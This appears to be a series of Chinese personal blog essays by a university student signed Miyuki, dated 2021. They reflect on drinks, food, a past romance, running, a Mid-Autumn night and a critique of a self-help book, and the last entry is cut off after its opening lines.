　　怎么逮住了还让人给跑了？我们都问原因。保安大哥说，那小偷一看就是新手，看穿着像是来西藏徒步的，被逼急了才铤而走险。他抓住小偷以后问话，对方怎么也不回答。最后，他看着小偷被磨烂的登山靴说，你一定走了很远的路吧。就这么一句简单的话，小偷忽然痛哭失声，像个没长大的孩子，然后将自己的来历全部告诉了保安大哥。保安大哥也是个善良人，说现在太晚了，明天我陪你去派出所自首。小偷点点头就蜷在保安室的沙发上睡了。没想到天还没亮，小偷趁保安大哥不注意，破门而出，还拿走了他搁在桌上的手机。

　　我相信在保安大哥说出那句话的一瞬间，那个小偷并不是装出来的，他的内心是切切实实被击中过，也许这一路他真的吃了很多苦头，逼不得已才走上犯罪的道路。保安大哥那一句话，哪里是在问，明明是将他经历的一切从头到尾像电影般重播了一遍。而小偷也不是被保安大哥的关心感动，他是为自己感动。插句题外话，这也许就是心灵鸡汤的功效，它只能让你 high 一阵子，却不能帮你一辈子。

　　脑补让我们局部失明，也让我们笃信有最好的感情存在。

　　金庸在《倚天屠龙记》中从未提及张三丰的感情，直到他在临危之际，从怀中掏出一对铸铁罗汉交给俞岱岩称，这是郭襄郭女侠百年前赠与我，望你日后送还少林。这一百年间，在他的内心发生过如何变化，他对郭襄的情感是友情抑或爱情，是否有过波澜壮阔，是否曾经黯然神伤，为何会将她随手一赠珍视百年，我们全无得知，但只这一句，却足以让我们浮想联翩，不忍细思。

　　我们时常追问，最令人心动的情感是什么？

　　自然不是玫瑰花，不是钻戒，不是一打开后备厢，满眼飘散的气球。这些都只是表象，真正令人心动的是我们对此无尽的联想，就像穷人的慷慨，庸人的热血，就像年少者的担当，多情者的忠贞，还有那个坏人为你低声的祈祷。

　　就像故事从来没说过，但我知道，你一定走了很远的路，吃过很多的苦才来到他面前吧，不然的话，他只不过多看了你一眼，你怎么眼眶就红了。我还知道，你也一定跟着她走了很久吧，不然的话，她在角落里黯然一笑，你怎么心就碎了。

　　但愿你今后都好，能鼓起勇气做一个不那么容易被感动的人，因为越敏感的人，来的路上就越苦楚。而这些，回想你一路是怎样走过来的，你一定都知道。

茉莉清茶

封面图

摄影师 | Naturell

图源 | Pixabay

正文

　　刚才买水，同以前一样，在某个老板娘那里。

　　她看了我一眼，愣了一下：“欸？你以前不是喜欢喝营养快线吗？”

　　这次换我怔了一下。

　　我和这个老板娘已经很久没有过联系了。大概有一年之久，不是点头那种，是根本连见面都见不到。有时候见面了，她也是作为食堂工作人员在各种忙碌着。

　　然后她很自然地说出了这句话。然后我本人都不知道，在以前旁人的眼中，我喜欢营养快线。当局者迷，旁观者清。不清楚这个迷与清是否正确。

　　我很好奇，她是怎么记住这么久的。

　　这让我想起了社团里的一个男孩子。他交了一个女朋友，是他小学同桌。这件事很奇妙。颇有一番“各自成长，山顶见”的味道。我们在尚稚嫩时碰过一面，相视一笑，各自分别。等到自己的轨道与你再次相交，我已经能够站在你的身旁，信心与勇气都已经足够。

　　感觉能拿去写一段很梦幻的小说。

　　有的人已经出现了，在不那么正确的时候；

　　有的人还正在赶来的路上；

　　有的人早已注视着你离去。

　　“我……前阵子发生了一些事情，就变得很爱喝这个了，”我扫码给了钱，“当然营养快线也还喜欢……”

　　说出来信吗？其实我自己都不太清楚。

　　虽然很不想承认，但确实是前女友让我喜欢上这种饮料的。

　　那天出于尝鲜，拿了一瓶茉莉清茶，三块钱的小瓶装。然后她看到，说着她也想喝，遂去买，不幸即日售罄。于是我便记着这事。在她某次值班，带去了。某次约着去复习，旁边也放着这瓶水。彼时她正趴在我邻位睡觉。

　　可能有意识地注意到的，全是茉莉清茶，于是其他饮料被滤过了吧。

　　我尝试过很多饮料。

　　海之言，紫瓶子的蓝莓味，我挺喜欢。黄瓶子的百香果味，我和室友一致认为喝起来很像小时候吃的果冻，不太好喝。

　　冰红茶，可乐，冰糖雪梨，果粒橙，小茗同学，东方树叶，青梅绿茶，金桔柠檬什么的我也都试过。

　　同一系列的茉莉蜜茶，茉莉柚茶等等更不必说。高中时，女孩子们很喜欢喝盒装的蜂蜜柚子，像优酸乳一般的绿色盒子。出于好奇，原来曾尝试过，但它实在是太甜了。

　　以上的饮料多多少少都出于味道不好，或者糖分太高而错失我的青睐。以前自己本不会注意营养成分表的，现在越发注意起这些。尤其是能量一栏。不知是好事还是坏事。

　　可能因为自己实在太胖了吧。

　　最后留下的，只有五种。茉莉清茶，AD 钙，青柠味脉动，营养快线（不管哪种味道都很喜欢），还有王屋岩泉的那种两块钱、由佟大为代言的苏打水。 可惜最后那款，一般的小商贩不会卖。

　　写着写着我忽然发现，细数这些东西，才有一种自己真切地活在世上的感受。

　　我离开柜台，乘扶梯回宿舍。看着自己手上的饮料发呆。

　　承认一些故事，会显得很懦弱。

　　比如在自己分手之后的那几天，茉莉清茶忽然变得很苦， 不知是不是改了配方。

　　那种苦味我至今记忆犹新，后面曾有一段时间惧怕茉莉清茶，只要看到一瓶不均匀的深绿便会黯然。

　　再后来，鼓起勇气去买了一瓶，发现 它的配方约莫又改了回来，没有那么苦了。

　　就像它的包装一样。深绿，微苦。淡雅而舒缓。

　　淡雅，我很喜欢这个词。飘渺，但是梦幻。

　　因为自己大她一届，有时候很想她叫自己一声“茉莉清茶学长”。我很喜欢这个名字。它听起来就像是隐藏着一段故事，适合用来写小说。

　　直到现在我都很喜欢这个名字。不过再与她无关，只是单纯好听。

　　AD 钙也曾跟她有过一段时间的联系，但我对 AD 钙并没有多大的感情。

　　回到宿舍，敲下这段文字。

　　看着电脑旁边的茉莉清茶，忍不住地发呆。

　　茉莉清茶学长。

　　是谁呢？

　　我突然笑了。

　　为什么要纠结这个答案再明显不过的问题呢？

　　拿起深绿，开盖，喝了一口。

　　嗯，有些苦，不过很喜欢。淡雅，而舒缓。


　　南国微雪 Miyuki

　　2021 年 12 月 30 日

所想所见即真实

　　其实我没有想过今天会写下这些东西。但是我想如果现在不把这些，转瞬即逝的闪闪点点，如流沙一样的想法装进星沙瓶里，那么就再也捉不住它们了。

　　下午跟着一个社团里的朋友去外面学舞，去的路上没有下雨，回来就很不幸地两个人挤在一把伞下面。

　　荣说她要买晚饭，我于是陪着她。

　　她说，这附近有一家炒冒菜很好吃。我当时一愣，炒冒菜？是从来没有听过这样的东西，所以好奇起来。

　　跟着她走到地方，才发现那是路边的一个小摊，普通得不能再普通的那种，上面贴有“炒冒菜”“火锅冒菜”的字样。摊面是一片很大的选菜区，和寻常冒菜摊一样，分格子陈列着腐竹、土豆片、藕片、粉条等等。靠里面是“厨房重地”的工作区，有许多用硬饮料瓶装的酱油，醋，小皿装的盐，糖。稍矮一点的地上，放着一个孤零零的煤气罐。罐上是一口看起来用了非常久的平底锅，锅面有很多斑驳剥落的痕迹，锅沿还有许多调味料。像是经过征战的老兵一样，静静地躺在上面。

　　但是空气中弥漫着一种香气。雨天里，这种香味很勾人食欲。

　　“谁给你推荐的这家店？”我问。

　　“我一个朋友。怎么样，还不错吧？”她看起来有些得意，“要不你也买一点？”

　　“我就不了，”我笑了笑，“说起来，昨天晚上回去很饿，特别想吃山东煎饼，但是当时已经收摊了。就觉得挺可惜的。”

　　“诶，食堂二楼不是有吗？”

　　“诶？是吗？”我很震惊。

　　“对啊，新开的那家，就靠近门口那个，”她同样诧异地看着我，“你不知道吗？”

　　“完全不知道。”

　　顿时有一种喜出望外的感觉。

　　雨越来越大，将所有尘埃伏击到地面上，把空气渲染成一股清新的味道，这使得香味越发浓郁。

　　我望着忙碌的老板和老板娘；望着那些和我母亲使用的差不多的油盐器皿；望着在大火之上肆意腾飞的炒锅和食材；望着旁边说说笑笑等待的食客们。一边望着，一边听着雨滴轻敲在头顶遮雨棚的声音，一边跟荣闲闲碎碎地聊着什么。

　　我觉得这种生活很适合发呆，很适合幻想着什么，因为它如此的真切。

　　有人认为，“十指不沾阳春水”便是幸福。我想，“十指尽沾阳春水”也未免不是一种幸福，它浸润在身为人最底层的欲望中。不食人间烟火的仙子固然美丽，但是她/他却失掉了一点人味，因得变得梦幻，只适合在远距离草草地看上一眼，或者束之高阁，任人膜拜纪念。

　　下雨天，满世界尽是耳语一般的雨声，絮絮叨叨。在遮雨棚下面，和一个朋友聊天，等待着可口的美味。远处不时传来汽车的鸣笛声。这种生活很适合写小说。那种，怀旧的，固执的，记录的，像泛黄老相片一样平淡无奇的小说。

　　“你的炒冒菜好了，十一块。”老板说。荣选的糖醋麻辣味。我觉得挺好，她的生活在我眼里一如她选的这个味道，很有她的风格。

　　她拿着她的晚饭，一起朝学校里面走去。我一路上有一搭没一搭地聊着。她跟我说，她听到过一个说法，叫做“潮人恐惧症”。她说，一般这种搞街舞的，搞轮滑的，搞说唱、滑板、自行车的等等，只要是稍带一点表演性质的，一般人都不太不敢接近。我听着听着突然想笑，于是说，我觉得还好吧，我觉得我们也没潮到哪儿去啊。她也笑了，“其实还是有一点吧”，她这么说。

　　我想了想，似乎确实有一点。于是忽然觉得不真实起来，感觉脱离了我生活的轨道。

　　当你身在其中，很多时候并不会去意识到它。正如身而为人，我们很少会意识到我们作为人的种种表现和举止。身在福中不知福，大莫如此。

　　这样一想，我忽然觉得更加不真实。现在的我，与以前的我，俨然是两个极端。小学的我就是个书呆子，死气沉沉，毫不在意外貌，也无心关照那些。初高中又非常宅，几乎不出门，窝在家里看动漫，自然谈不上潮。到了大学，却跟浑身上下换新了一样，连一根头发也没落下。

　　那么什么又是真实？现在的生活，与以前的自己冲突得那么强烈，我到底该相信谁？哪个又才是真的自己？

　　形而上学家一直在寻找终极的实在。我一直觉得，他们在追寻的途中提出的那些问题有时候令人发笑。诸如，“让你感到真实的，是凳子还是你坐在凳子上的感觉？”，“既然我们没有亲眼看过电子，我们又为什么相信它？”……但是我如今却陷入了这种尴尬的困境。

　　现在的生活是真实的吗？这个问题可以算作矫情。但我却觉得，每个人都遇到过这种困境，只是没有人说出来。

　　我有时觉得，我们都潜意识地认同弗洛伊德的邪教般精神分析，并或多或少受到它影响。我也时常觉得，我们很多人就像那本享誉全球的心理书所说的一样，都是一帮“乌合之众”，随波逐流，人云亦云。

　　我仍在和她一起慢慢地走着，慢慢地回去，缓缓地想着这些。

　　荣住在更远的地方，本来要分别的，我觉得让她淋回去不大好，于是就一直送了过去。

　　回来的路上，一个人静静地踱着。一步一步，再一步。积硅步，致千里，聚沙成塔，集腋成裘。我蓦地想到了这些。

　　千年前的留下来的古训，以一种耳熟能详的方式被遗忘。

　　自己一步一步前进的状况，我觉得很像《Don’t Starve!》里面开拓地图的处境。游戏角色威尔逊在空间上前往一片黑暗的自然，收集足够的食物和材料以保证自己能够 survive，我在时间上前往一片黑暗的未知，一步步成长到足够强大，去拥抱我所热爱的那些事物，和那些人。

　　到了食堂，上楼，进门，准备买东西吃，忽然想起了什么，猛然回头。

　　我看见那个师傅摊着面，翻着饼，打下鸡蛋，把食材一点点放进面饼中卷起来，做成山东煎饼。窗口外面是一个正在等待的翘首以盼。

　　原来我一直在漠视。从来没有注意过。

　　我笑笑，转身，继续走。我暂时不会买，不过我知道了，这里有一家卖山东煎饼的店，它在营业着，暂时不会走。它是真实的，知道这一点就足够了。明天我会来光顾的。

　　我忽然想起自己现在的生活，又想起一个女性好友笑着跟我说的那句话：“大学就是一个美容院，和改造场。”

　　我没有必要怀疑现在的生活，它是真实的，我自己也是真实的。

　　弗洛伊德的决定和阿德勒的目的，都有我想要相信的真实。我吃了一口饭。外面仍在下雨，而饭很香。

　　活在当下。我想的这些，所看见的这些，就是真实。

　　什么时候去试试那家的冒菜吧。我这样想道。


　　南国微雪 Miyuki

　　2021 年 11 月 22 日

回望大二

　　这个主题，我已经想写很久了。提起笔却不知道写些什么。

　　根据弗洛伊德的精神分析理论，人是由过去的一切组成的，那些快乐的，伤痛的，幸运的，不幸的，所经历的一切都会融在骨子里，进而进化，——或者也可以说是退化——成潜意识，在今后的一切都起作用，或大或小。

　　当然，我是不太信弗洛伊德这一套的，做不出实验又缺乏实证研究，冥冥中有一点邪教的味道。信则有，不信则无。

　　当然追究一个人的历史，一年的历史，在轴向来看或许没什么意义，最多只能细数自己做了些什么。又在哪些地方做出了些改变。

　　从自己的日记本里一页页缓慢爬过，我大二几乎没做什么事情。墨迹诉说的都是一件件例如洗衣服的琐事。学业和生活并没有像大一那样火箭式突飞猛进。或许这才是正常速度，正常轨道吧。习惯了山珍海味，回到粗茶淡饭，究竟是有些不习惯的。

　　看过那些所谓的技术人才的成长历程，几乎无非都是，大一打基础，大二框架、源码、技术潮流起飞，大三专心数据结构和算法提升，大二大三做项目打比赛拿奖，大四进大厂。

　　我不想这样，所以大二没有这么做。或许是我对技术不够忠实和热爱吧。总认为处理报错，又找不着源头的那种焦虑感会凌迟了自己，很早就不想动代码了。

　　一直在焦虑。不过近来好了很多，大概，这就是我大二做出的最大贡献吧。

　　大二回归正常人轨道，之前行驶的是高速轨道，速度太快，差点解体。我在这两个拼起来的半年中，得到的，更多是精神和想法。

　　我在这个学期里，去见了网友，算是一场旅行；

　　学会诗意的眼光；

　　写了许多的小说，虽说都懒得起名字；

　　慢慢处理和对抗焦虑；

　　学着自律和鼓起勇气；

　　变得没有那么讨厌跑步了。

　　我想首尾两项，才是可见的最大的收获。我的体质，确乎是大二锻炼起来的。当我在自己的频道极速往上划，翻越那段秋冬和春夏，我发现，那些自以为已经很习惯的东西，原来并没有多久，像是时间忽然在自己面前变戏法，敲着自己的脑袋，说，看，你的适应，没有那么缓慢。

　　比如奶茶店那一墙的心愿便利贴，比如那棵高到快要戳破天的树的新枝，比如忽然突然移走的停车场，还有总在易主的店铺。

　　我想要看更多的变化。

　　存在主义哲学家让-保罗 · 萨特认为，自我总是存在于未来当中，它是我们试图把自己变成某种东西时的目标所指，也就是说，在我们活着的时候，自我从来就未真正存在过。我起初认为这个理论很疯狂，认为在胡扯，现在竟觉得有些浪漫。它给人了一种主张，不去考虑这些复杂的问题，毕竟自己总是在一直变化，自我也会跟着变，直到生命终止才会有一个确定态，留与后人评说。自己烦恼这种自我，或者说，广义上的行为准则和思想世界，完全没有意义。与阿德勒心理学的活在当下颇有些异曲同工。

　　很浪漫不是吗？

　　当强烈的聚光灯打来，专注于起舞，专注于阅读，专注于工作，抬头发现不知不觉已经走到巷子深处。

　　站定，回望之前如频闪般擦身瞬过的一年前，发现却也有些陌生，却也有些庆幸。

　　毕竟，是有些变化的。

　　毕竟，是有些好的变化的。

　　路还很长，我只管专注向前，现在，就从这里开始吧。


　　南国微雪 Miyuki

　　2021 年 10 月 25 日

番茄

封面图

摄影师 | 佚名

图源 | 未知

正文

　　昨天一个朋友请我吃饭的时候，低头看着菜单，闷闷地抛出一句：“茄子吃不吃？”我愣了一下，开始发神。然后他抬起头疑惑地看了我一眼，我才反应过来。怔怔地说了一句：“抱歉，我吃。”“那来个红烧茄子吧。”他这样说。但是我完全没有听进去了，思绪已经飘向了很远的地方。

　　准确地来说，我是不吃的。


　　以前我挺多东西都不吃。包括茄子，包括番茄，还有皮蛋，芹菜，蒜苔等等等等很多。我很清楚明晰地记得，我在大一的时候就跟我的室友说过，我很不喜欢茄子。然后大二的一天，我在食堂，素菜点了茄子，他还笑了笑，对我说：“你叛变了。”我也开玩笑说：“是啊，总要试试嘛。”

　　那一餐之后，我还是没能变得不讨厌茄子。并且，我对茄子的讨厌程度，没有番茄深。

　　暑假，家里没有食材了，菜市场离家很远，只有我和我哥哥两个人，还有几个快要烂掉的番茄和几个小小的，表面像是陨石坑一样的鸡蛋。

　　考虑到要吃挺多顿，就做成了番茄蛋汤。那是最保留番茄本味的一种做法之一。

　　我——是做菜的那一个。

　　我至今都记得，我用菜刀切开那几个奄奄一息的番茄，汁水四溅，切起来的手感像极了四肢乏力的人摆弄篮球。

　　我和我哥哥都不喜欢吃番茄。饶是如此，因为我们没有食材，还是把那道菜吃完了。

　　自那以后，我变得更加讨厌番茄。那时候天很热。

　　这种情况一直持续到前阵子。持续到我遇到她。

　　我原来没有想过她会影响到我这一点。

　　那一天，是我们唯一一起吃过的一顿饭。只有两个人的一顿饭。准确地来说，是在小面馆的一顿面条。

　　我侧着头想问她吃什么，她想了一下，说晚上不想吃太油的，就吃个清汤好了，点了番茄蛋面。当时她也侧着头，笑着回我，没有搭在肩上的头发随着她的动作晃浪起来，看起来异常漂亮。

　　但是这一幕在我心中，印象只有浅浅的一痕。

　　而她撩起左边的头发，小口小口地吃起来，那一幕，深深地印在了我的心里。她的耳坠是朵小花，在升腾起的淡淡雾气中折出一点美丽的光。

　　“不要看……”

　　“啊……哦……”

　　对番茄的改观，摸得到的缘由，也就仅仅只有这个而已。

　　大概在几十天以前，某天中午，我在食堂点了番茄炒蛋。换作以前，这是无奈之举。

　　初入口，意外地觉得，番茄那种酸酸甜甜的感觉，接受之后倒也不错。毕竟那就是它天生的样子。

　　当我脑海里闪过这个念头，我已经被自己吓到。

　　我觉得自己疯掉了。


　　前两天天很冷，断崖式降温。

　　我在食堂点了番茄炒蛋。依旧是那个味道。

　　甜甜的，入口即化。酸酸的，在口腔里待久了，酸得人想哭。

　　番茄，或许又该划入讨厌的东西里面了吧。


　　南国微雪 Miyuki

　　2021 年 10 月 18 日

随想录

　　近来看了很多人际关系及交往类的书籍，不止《亲密关系》，还有其他的一些。我记得看过这样一句话：在爱的表现上，男性更倾向于对未来的打算，而女性更倾向于对于当下的体验。

　　犹如一记当头棒喝，瞬间把我打得晕头转向。它对不对，受传统刻板印象印象多深，我们暂且按下不表。任何一句话的正确性，都要根据自己的情况对其进行斟酌。但我身边，甚至包括我自己，似乎都有这种倾向。

　　说不上精打细算，但是对于未来的一点点的规划总是有的。

　　面向未来和面向当下，很难说孰优孰劣，或许这个判题本身就没有意义。面向未来可能会过多地导致虚无主义。《失控玩家》中，当 NPC 男主角发现自己是 AI，发现所处的世界是虚拟世界时，他似乎觉得失去了一切意义。当他去找他最好的哥们儿问他关于这件事情的看法，却得到了这么一个答复：“就算世界不是真实的，我现在正在安慰我最好的兄弟，帮他解决问题，开导想法，如果这个都不算真实，那么又有什么才是真实的？”

　　我们或许可以从这个编排上，管窥出编剧的价值取向，和想要将观众导向的方向。

　　当然这个方式可能不一定奏效。我们每个人都被关押在自己的一套行为模式和价值观当中，只开了一个很小的窗口进行对外交流。《爱的五种语言》（《Five Love Languages》）里面把所有爱的表现归为五大类，虽说更适用于恋人间的表现，但几乎所有亲密关系都可以套用到上面去：

　　1.肯定的言辞；2.服务的行动；3.接受礼物；4.精心的时刻；5.身体的接触。

　　每个人都有自己的爱语，所以对方表达好意的行为有可能另一方接受不到。我见过很多“我想要的只是一个苹果，你给我拉了一车梨为什么还要我表示感谢”的情况，不能不说让人惋惜。

　　想起前阵子，自己问那位小姐自己还有什么需要改进的地方。她给了我一个很意外的回答：“我觉得你为我做的改变挺多了，没什么要改进。而且就算有不足也要相互包容啊，你不可能完全变成我想让你变成的样子嘛。”

　　我很难形容当时我的心情。看似简单到谁都明白的道理，有时候需要人点醒才能深入进头脑里。可能我就是想要避免上面那样传达不到，或者词不达意的情况，才会变得这样盲目而短路。

　　不过听完真的有一种被温柔包围的感觉，是“所邂皆幸人”的安心。

　　我的高中英语老师曾经在一节课上，神情哀伤，压抑自己的情绪对我们说：“有时候，人真的是为别人而活。”

　　遥想以前的自己，大概还会为这种想法而嗤之以鼻，认为将所有生的希望寄托在别人身上，都是自己怠惰的恶果。

　　我至今都不知道，那时候英语老师她有怎样的感触。但我现在却觉得“为别人而活”不总是一件坏事情。最次而之，它予人了一种“生的希望”，一种想要“变得厉害”的欲望。

　　“I don’t want to survive.I want to live.”

　　曾获“2014 Best Picture Awardee”的《12 Years a Slave》大概也是想说这件事情。

　　我想，我们该关注的，从来都不应该是“XXX 明星出轨”或者“谁谁谁玩弄了多少人的感情，是个渣男”这样的东西，而应该是我们周围那些疲惫不堪，肩负着其他人的感情与责任的普通人。

　　《亲密关系》中的关系科学调查研究表明，如果我们要正常地生活，保持身心健康，就要在长久而关爱的亲密关系中经常与伴侣愉快地交往( Baumeister & Leary, 1995 )。所以，在这个层面上，为谁而活蓦地就变得无关紧要，因为谁都能为之受益。

　　而且，为了自己爱的人，一点一点变得更好，看到他们脸上绽放出的笑容，本身就是一件很美好的事情。

　　Finally, keep reality, for who loves you, and for yourself.


　　南国微雪 Miyuki

　　2021 年 10 月 8 日

月圆夜

　　前两天在操场上跑步的时候，莫名地想到了这个标题。

　　那时候很多人拍照。拍那圆圆也远远的月亮。那白玉珠子就挂在天上，旁边一两颗星星作伴。星星会不会羡慕呢？旁边的珠子握着所有人的视线焦点。

　　我一边大喘着气，想着这些有的没的。

　　我跑步的喘气声，在旁人来讲听起来很恐怖，这是室友告诉我的。然而我自己毫无知觉。

　　抬头一倏，又看见许多人拿着手机或者相机拍照。

　　我没看到过那么多人拍照，镜头对准月亮。我更没看到过有一个人拍照，心里的镜头对准着自己。


　　这个中秋，跟以前似乎不太一样。

　　已经不知道是多少圈了，只是不知疲倦地跑着。从人密到人稀，从月出到月悬。

　　10 公里，说起来是一种成就，但是比上马拉松微不足道。

　　我途中打算放弃过。

　　不如说，本来打算 8 公里见好就收，想了想，忍一忍破一下记录吧。

　　我记得我以前还批判过这种极似贪婪的想法，现在看来也不全是坏事。

　　跑完停下来，做些拉伸。操场上的灯光依旧如常，如渴睡人的眼，没有照亮如同白昼，留下些暗处，好潜藏白天留下的痕。

　　一路上听了很多人在欢笑打闹，我只跑过去，没有停留。

　　一路上听到有人拿着手机抽泣，我怔了一下，也只跑过去，没有停留。

　　这些痕，就留给夜吧。

　　我以为，这就是中秋的夜。


　　睡眼惺忪醒来，看了看手机里昨晚中秋的月亮，究竟是比不上那位小姐拍的，笑了笑删掉了。

　　食堂里的店面依旧在吆喝着，十教前面的水池依旧在吐着泡泡。桂花已经盛放过了，在每个路人的肩头上。太阳晒得人又爱又怕。

　　一切如常，只是最常去的教学楼锁了。

　　溜了上去。

　　窗帘并拢所有的亮，只有少部分光线逃逸出来，照得灰尘无处可逃，在橙黄色下面纷飞。室内全是窗帘的蓝，还有空调压缩机嗡嗡作响的声音。像是跟谁在说悄悄话。

　　我很坦诚地说，在等待那位小姐到来的漫长时间里，我的心脏狂跳个不停。一切都梦回初中演讲比赛候场，不过——这次没有听众。

　　两个小时的电影，两个小时的聊天。慵懒的时光。

　　同样慵懒的还有身边的那个人。牵手会和我一样紧张，别过头发的动作很撩人。

　　晚上遇见了舞蹈同好。大我很多，却向我兴奋地传达他的热爱。推给我舞室，还有老师。

　　抬头望了望月亮，圆圆满满的，像生活。

　　我以为，这就是中秋的夜。


　　决定兑现。

　　翻身，下床，为没有假期的，与我产生联系的小班学生们，消暑。太阳晒得人害怕。军训场上，我想他们应该更有感触。

　　超市，折扣，比对，进出，奔波，提着两箱沉沉的水放在外面。与人一起搬到场上。

　　“下午会有苏打水吗？”

　　“会，这是承诺。”

　　“学长会来吗？”

　　“会啊，很期待吗？”

　　没有回答。我能看见你们一休息朝我们这边跑过来，吵吵嚷嚷要拿水喝，就已经知道答案了。

　　再过一两年，你们也会在我这个位置了，大概。

　　陪他们看晚上的军训慰问表演，有班上的捣蛋鬼问我怎么不上去，我笑着摆了摆手。

　　“她那边有没有事呢？”想着那个肠胃不好，平时喝常温水的女生，今天却跑去吃红汤火锅就忍不住一阵阵发笑。

　　看着舞台上一个个舒展身姿的身影。

　　看着天上被云完全遮起来的月亮。

　　我以为，这就是中秋的夜。


　　恍惚间听到了一声什么。似乎是一声快门声。

　　我忽然明白了些什么。

　　而这，才是中秋的夜。


　　南国微雪 Miyuki

　　2021 年 9 月 23 日

反抗

　　晚上，操场，跑道，人影。

　　天上下着细雨，我出门时就已经感觉到了。在一个多小时以前，我还在犹豫着要不要打道回府。

　　皮肤对于这些细小的湿气很敏感。头发正在陆续地感觉到凉意。


　　风正在大起来。

　　操场上只有寥寥几个人，显得寂静而清冷，像是放了一个长假。仅有的两三个，也在跑步。一圈圈奔向未来。

　　看着熟悉的景物一次次往后退。

　　耳朵里，一边是雨滴砸在地上的声音，一边是音乐。不服气和疯狂的电子乐，一声声沉闷响亮的鼓点，伴随雨声，敲在心上。

　　雨更大了，但没有到让人慌不择路。雨的音乐，像是结成捆的麦穗突然散开，缓缓斜倒在地上，一阵阵的沙沙响。

　　空气中，嗅出雨打湿尘埃的清新味。

　　跑到远端，还有国旗束绳一下下刮到旗杆上的清脆声响。

　　跑步结束了。但好像自己仍在积蓄些什么。


　　风愈来愈大。

　　打道，回府。昏黄的路灯下，透过黑暗，能看到密密的雨丝。

　　要不要跑回去？

　　雨好像越来越大了？

　　这样下去，要是……

　　我摇摇头甩去了这些想法。一直以来都是这样的。想得太多。弊病。痛。

　　慢慢走在路上。

　　狂风摇动柔软的树枝，声音有些恐怖。不远处有门被吹得“啪”一下关上。再远，是形形色色打伞的人。

　　只是缓缓地走。

　　风向换了。雨丝突然转了个弯，一齐打到我的背上。

　　透心的凉意，蓦地打开了情绪的闸门。从后往前的风，连带着情绪，一起被吹向远方。


　　我想起了很多。

　　想起小学，书呆子的自己，三秒区都投不上篮的自己，用尽全力抢了一颗球，惹得队友连连叫好；

　　想起初中，和宿管阿姨在管理室，用天然气烤着冬天冻裂的手，或是趁着夏日夜晚的凉意，给家里打电话；

　　想起高中，那两盏大灯，照在舞台上，晚自习下课走在操场上的所有人群，都是我们的观众，而舞者，全校只有两人；

　　想起大学，和珂两个人的玩乐，那次真切地觉得自己活在世上的体验；

　　想起攒钱偷偷买下的手机；

　　想起被一个女生闺蜜指着鼻子骂；

　　想起高考后抱喜欢的女生时狂跳的心脏；

　　想起被两个学妹堵门要联系方式；

　　想起父亲开着摩托时的哭腔；

　　想起无数次父母的争吵；

　　想起母亲说要自尽时心里的恐惧；

　　想起如蒸笼一般的校园广场里的美味；

　　想起初到成都；

　　想起秘密被发现后涨红的脸；

　　想起阳台上难得一见雪花飘落；

　　想起今晚的自己。


　　我一直以为，自己仍能活在这世界上，就是一种恩赐。我没有从父母那里学到大量的处事之则，而是在成长中渐渐懂得。所以，我知道，温柔待人，到底有多么重要。我也知道，温柔待人，会有哪些头疼之处。但我仍然想要这么做，可以说是一意孤行，冥顽不化。

　　我想给更多人以勇气和力量。不想让更多人罹受苦难。

　　夏目贵志和银谷，大概就是这样的化身吧。

　　时至今日，我也只抱有这样的信念，具体怎么去做，我想也只能等来时发掘。如果真有我坚持不下去了的那天，如果真有我支出远大于爱自己的那天，就当世界上少了一个笨蛋，为之庆幸就好。


　　北京五道营胡同一家杂货店的外墙上写着：“没有记录，就没有发生。”

　　我非常自私地想要留下些什么，想要抵挡这物欲行走、钢铁洪流的世界，哪怕只是螳臂当车。

　　没有记录就没有发生。而记录本身已经是一种反抗。


　　南国微雪 Miyuki

　　2021 年 7 月 4 日

奴化圣经

　　我刚开始翻这本书的时候，还是有点期待的。三个多小时之后，我发现我完全错了。

　　《遇见未知的自己》这本书，要说完全一无是处，倒也没有。有些句子确实有震撼人心的力量。然而通篇看下来，似乎引人发笑的地方更多，没过了这些闪闪发光的亮处。

　　我确乎从这里面吸取到了一点经验。比如那句最核心的，最受人追捧的话。

　　我看见我在寻找被虐待的痛苦感受，我全心地接纳这种感受，并且放下对它的需要。

　　强化的连接，接纳的方式等等，确实是我闻所未闻的东西。不过这或许是作者所在领域的专业知识。而灵修是否有充足的理论储备量，去论证这一科学所存在的必要性，我也不大清楚。

　　不过就这本书整体传达的氛围来看，它更像一本邪典，一本奴化圣经。像是天主教的教条一般，最终沦为统治阶级统治人民的工具。

　　书里所推崇的，就是事事先找自己的问题。

　　我不否认书中所持的观点：“亲爱的，外面没有别人，只有你自己。所有的事情都是你自己的投影。”但也只是不否认罢了。

　　这种“先找自己问题”的教条主义，在我的观点中，从来都是统治阶级为了避免纷争麻烦而推脱的借口。毕竟，由此带来的，自信心不足，严重至反人类反社会的结果，很少与他们有关，或者说，结果要很长时间才能显现。

　　这种教条主义有个致命的缺点，就是逻辑上不能事事圆满。早上还在出太阳，暖洋洋的，你决定出去散散心。然后突然下了一场暴雨，你没来得及赶回家，成了落汤鸡。这个时候论谁也不会去找自己的理由：为什么我没有提前看天气预报？为什么我没有提前带把伞？为什么我没有穿能快速干掉的衣服？

　　而书中要你去想的，大概就这种感觉。

　　这个例子并不准确，因为书里说老天的事请没法掌控，叫读者不要生气。世界上只有三种事：自己的事，别人的事，老天的事。

　　一、这是废话。

　　二、书里说，别人的事情你管不了。这也是在扯淡。要不管理层怎么出来的？

　　三、要你管好自己。

　　这个论调是不是很熟悉？是不是像极了家长，像极了老师？

　　不要怪别人没有素质，不要去埋怨环境，不要去埋怨出身。你没有得到你想要的一切，只是因为你不够好，不够努力。

　　是不是有味道了？

　　书以小说方式呈现，说明灵修的道理，姑且算是能让人接受。但剧情编排上就不大能让人接受了。

　　老人在书里简直就是全知全能神。无偿帮助女主角解决心修问题不说，还连她哪天开了什么会都知道。老人弟子遍布海内外，大多人不是明星就是著名运动员。女主去问个问题，只要拿老人当盾牌，弟子们再忙都会抽空来见。

　　这老人是耶稣还是释迦牟尼？亦或者安拉？要不然婆罗门也行啊。

　　这书打着一个“一名女性的自我修养”的名号，但在我看来，更像是一本邪教圣经。逮着谁就是谁。荼毒女性罢了。

　　不过取其精华，去其糟粕，有些东西还是能看的，例如选择性解读和选择性忽视。不过书里教你完全控制这种东西，大可以当成空气。因为这本质上是在教你磨灭你的生物性。

　　若想取些对自己有利的新观点，书可以看看。

　　至于其他内容，一笑置之就好。


　　南国微雪 Miyuki

　　2021 年 6 月 18 日

境遇

　　托某人的福，前两天才决意起，想要不论怎么如何痛苦，都要正视一些问题，于是想起了喵喵推荐的《三日间的幸福》。下了阅读器，进去一看，也就 80 多页，不是很多，就决定今天慢慢地把它看完了。

